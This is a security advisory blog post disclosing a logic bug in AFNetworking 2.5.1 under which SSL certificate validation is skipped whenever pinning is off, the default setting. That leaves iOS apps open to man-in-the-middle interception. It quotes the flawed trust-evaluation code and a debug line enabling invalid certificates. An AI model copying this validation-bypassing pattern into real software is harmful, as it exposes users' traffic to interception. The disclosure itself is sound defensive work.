#if TARGET_IPHONE_SIMULATOR && defined(DEBUG)     [AFSecurityPolicy setAllowInvalidCertificates:YES]  #endif

SSL certificate validation was disabled if and only if the build target was the iPhone simulator and the DEBUG flag was set. Let's remind that the default value of the allowsInvalidSSLCertificate property is NO.

We tested the app on a real device and, unexpectedly, we found that all the SSL traffic could be regularly intercepted through a proxy like Burp without any intervention!

Further investigation led us to a particular part in AFNetworking code where trust evaluation was somehow disabled.
After few minutes, we figured out that there was a logical bug while evaluating trust for SSL certificate, whose consequence was to completely disable SSL certificate validation.

- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust forDomain:(NSString *)domain 
method within the AFSecurityPolicy.m file: 

- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust
      forDomain:(NSString *)domain
  NSMutableArray *policies = [NSMutableArray array];
  if (self.validatesDomainName) {
     [policies addObject:(__bridge_transfer id)SecPolicyCreateSSL(true, (__bridge CFStringRef)domain)];
  } else {
     [policies addObject:(__bridge_transfer id)SecPolicyCreateBasicX509()];

  SecTrustSetPolicies(serverTrust, (__bridge CFArrayRef)policies);

  if (self.SSLPinningMode != AFSSLPinningModeNone &&
 !AFServerTrustIsValid(serverTrust) && 
!self.allowInvalidCertificates) {
   return NO;

 NSArray *serverCertificates = AFCertificateTrustChainForServerTrust(serverTrust);
    switch (self.SSLPinningMode) {
        case AFSSLPinningModeNone:
            return YES;

Which means that if pinning is not used,

 SSLPinningMode == AFSSLPinningModeNone

then the yellow-highlighted  `if` statement evaluates to `false`, even though the property `allowInvalidCertificates` is set to `NO`.

The code flow will hence reach the red-highlighted branch, with the result of cancelling out the whole SSL certificate validation.

It is also important to note that the default value of SSLPinningMode is, indeed, `AFSSLPinningModeNone`.

After a few "feeling cool" moments, we discovered that the implementation flaw was already known and reported here. One month later a new issue was submitted with a more clear description.
Further investigation allowed us to understand that the bug was introduced in late January during the development of AFNetworking 2.5.1.
Warning: 2.5.1 is the latest version at the time of this writing and is installed by default using CocoaPods if not stated otherwise. Refer to the update note above.


The impact: SSL MiTM attacks

Eventually, the overall risk can be evaluated as high since a MiTM attack is feasible in all iOS applications using AFNetworking 2.5.1, even though the developers were mindful enough to disable debug settings in the production build.
Moreover, take into consideration that mobile apps are typically used while being connected via public hotspots.


Minded Security suggests to consider applying the patch proposed by duttski on his GitHub AFNetworking code, as a workaround until an official patch will be released (click to enlarge):
Unofficial Patch of AFNetworking issue

Finally, it's worth mentioning that setting allowInvalidCertificates to YES would make you deliberately vulnerable no matter what the library does (yes, we know you know, but.. you know..;).

Brought to you by Simone Bovi and Mauro Gentile